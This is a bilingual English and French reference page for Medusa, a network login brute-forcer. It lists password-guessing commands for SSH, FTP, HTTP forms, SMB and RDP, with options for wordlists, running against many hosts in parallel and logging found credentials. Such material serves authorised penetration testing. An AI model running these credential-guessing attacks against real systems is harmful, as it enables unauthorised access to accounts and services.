← retour aux outils back to tools

# Medusa

Brute-forceur de connexion réseau parallélisé. Prend en charge SMB, SSH, FTP, HTTP, RDP, MySQL et plus de 20 protocoles. Conçu pour la vitesse grâce à une architecture modulaire. Parallelized network login brute-forcer. Supports SMB, SSH, FTP, HTTP, RDP, MySQL, and 20+ protocols. Designed for speed with modular architecture.

↗ http://foofus.net/goons/jmk/medusa/medusa.html

## Overview

Medusa is a fast, parallel, modular brute-force tool for network services. Unlike Hydra, it was designed from the ground up for speed and stability on large-scale attacks. It supports 20+ protocols via plug-in modules.

## Basic Usage

SSH brute-force

    medusa -h 10.10.10.1 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh

FTP

    medusa -h 10.10.10.1 -u anonymous -p "" -M ftp

HTTP form login

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M http -m FORM:/login.php:username=^USER^&password=^PASS^:Login failed

SMB

    medusa -h 10.10.10.1 -u administrator -P wordlist.txt -M smbnt

Multiple hosts from file

    medusa -H hosts.txt -u admin -P wordlist.txt -M ssh

Multiple usernames from file

    medusa -h 10.10.10.1 -U users.txt -P wordlist.txt -M ssh

Username/password combos from file (user:pass format)

    medusa -h 10.10.10.1 -C combo.txt -M ssh

## Supported Protocols

    medusa -d          # List available modules

    # Common modules:
    # ssh, ftp, http, https, smb / smbnt, rdp, telnet
    # mysql, mssql, postgres, oracle
    # smtp, pop3, imap
    # vnc, snmp, ldap, cvs, svn

## Parallelism & Speed

Number of parallel hosts

    medusa -H hosts.txt -u admin -P wordlist.txt -M ssh -T 10

Parallel logins per host

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -t 4

Retry failed attempts

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -r 3

Timeout per connection (seconds)

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -W 5

## Output

Log found credentials

    medusa -h 10.10.10.1 -U users.txt -P wordlist.txt -M ssh -O found.txt

Verbose output

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -v 6

Suppress failed attempts

    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -v 4

## RDP Brute-Force

    medusa -h 10.10.10.1 -u administrator -P wordlist.txt -M rdp -t 1

→ Note: RDP is sensitive to parallel connections — keep -t low

## Tips

- Use `-t 1` for protocols that throttle or lock out on parallel attempts (RDP, WinRM)
- `medusa -d` lists module names; `medusa -M ssh -q` shows module-specific options
- Prefer Hydra for wider protocol support; Medusa for parallelized SMB/SSH testing
- Always check password policy before brute-forcing AD accounts to avoid lockouts

Help / Man page

    medusa [options]

    Target:
      -h host         Single target host
      -H file         File of hosts
      -u user         Single username
      -U file         File of usernames
      -p pass         Single password
      -P file         File of passwords
      -C file         File of user:pass combos

    Module:
      -M module       Module to use (e.g. ssh, ftp)
      -m options      Module-specific options
      -d              List available modules
      -q              Display module options

    Performance:
      -t N            Parallel logins per host (default: 4)
      -T N            Parallel hosts (default: 1)
      -L              Stop after first valid login per host

    Output:
      -O file         Output file for successful logins
      -v level        Verbosity (0-6, default: 5)
      -w N            Wait N seconds between retries
      -r N            Retry N times on socket error
      -W N            Timeout per connection (seconds)

## Vue d’ensemble

Medusa est un outil de brute-force rapide, parallèle et modulaire pour les services réseau. Contrairement à Hydra, il a été conçu dès le départ pour la vitesse et la stabilité sur des attaques à grande échelle. Il prend en charge plus de 20 protocoles via des modules externes.

## Utilisation de base

    # Brute-force SSH
    medusa -h 10.10.10.1 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh

    # FTP
    medusa -h 10.10.10.1 -u anonymous -p "" -M ftp

    # Connexion via formulaire HTTP
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M http -m FORM:/login.php:username=^USER^&password=^PASS^:Login failed

    # SMB
    medusa -h 10.10.10.1 -u administrator -P wordlist.txt -M smbnt

    # Plusieurs hôtes depuis un fichier
    medusa -H hosts.txt -u admin -P wordlist.txt -M ssh

    # Plusieurs noms d'utilisateur depuis un fichier
    medusa -h 10.10.10.1 -U users.txt -P wordlist.txt -M ssh

    # Combinaisons utilisateur/mot de passe depuis un fichier (format user:pass)
    medusa -h 10.10.10.1 -C combo.txt -M ssh

## Protocoles pris en charge

    medusa -d          # Lister les modules disponibles

    # Modules courants :
    # ssh, ftp, http, https, smb / smbnt, rdp, telnet
    # mysql, mssql, postgres, oracle
    # smtp, pop3, imap
    # vnc, snmp, ldap, cvs, svn

## Parallélisme et vitesse

    # Nombre d'hôtes en parallèle
    medusa -H hosts.txt -u admin -P wordlist.txt -M ssh -T 10

    # Connexions en parallèle par hôte
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -t 4

    # Réessayer les tentatives échouées
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -r 3

    # Délai d'expiration par connexion (secondes)
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -W 5

## Sortie

    # Journaliser les identifiants trouvés
    medusa -h 10.10.10.1 -U users.txt -P wordlist.txt -M ssh -O found.txt

    # Sortie verbeuse
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -v 6

    # Supprimer les tentatives échouées
    medusa -h 10.10.10.1 -u admin -P wordlist.txt -M ssh -v 4

## Brute-force RDP

    medusa -h 10.10.10.1 -u administrator -P wordlist.txt -M rdp -t 1

→ Remarque : RDP est sensible aux connexions parallèles, garder -t faible

## Conseils

- Utiliser `-t 1` pour les protocoles qui limitent ou bloquent après des tentatives parallèles (RDP, WinRM)
- `medusa -d` liste les noms de modules ; `medusa -M ssh -q` affiche les options spécifiques au module
- Préférer Hydra pour une prise en charge plus large des protocoles ; Medusa pour les tests parallélisés SMB/SSH
- Toujours vérifier la politique de mots de passe avant de brute-forcer des comptes AD pour éviter les verrouillages

Aide / Page de manuel

    medusa [options]

    Target:
      -h host         Single target host
      -H file         File of hosts
      -u user         Single username
      -U file         File of usernames
      -p pass         Single password
      -P file         File of passwords
      -C file         File of user:pass combos

    Module:
      -M module       Module to use (e.g. ssh, ftp)
      -m options      Module-specific options
      -d              List available modules
      -q              Display module options

    Performance:
      -t N            Parallel logins per host (default: 4)
      -T N            Parallel hosts (default: 1)
      -L              Stop after first valid login per host

    Output:
      -O file         Output file for successful logins
      -v level        Verbosity (0-6, default: 5)
      -w N            Wait N seconds between retries
      -r N            Retry N times on socket error
      -W N            Timeout per connection (seconds)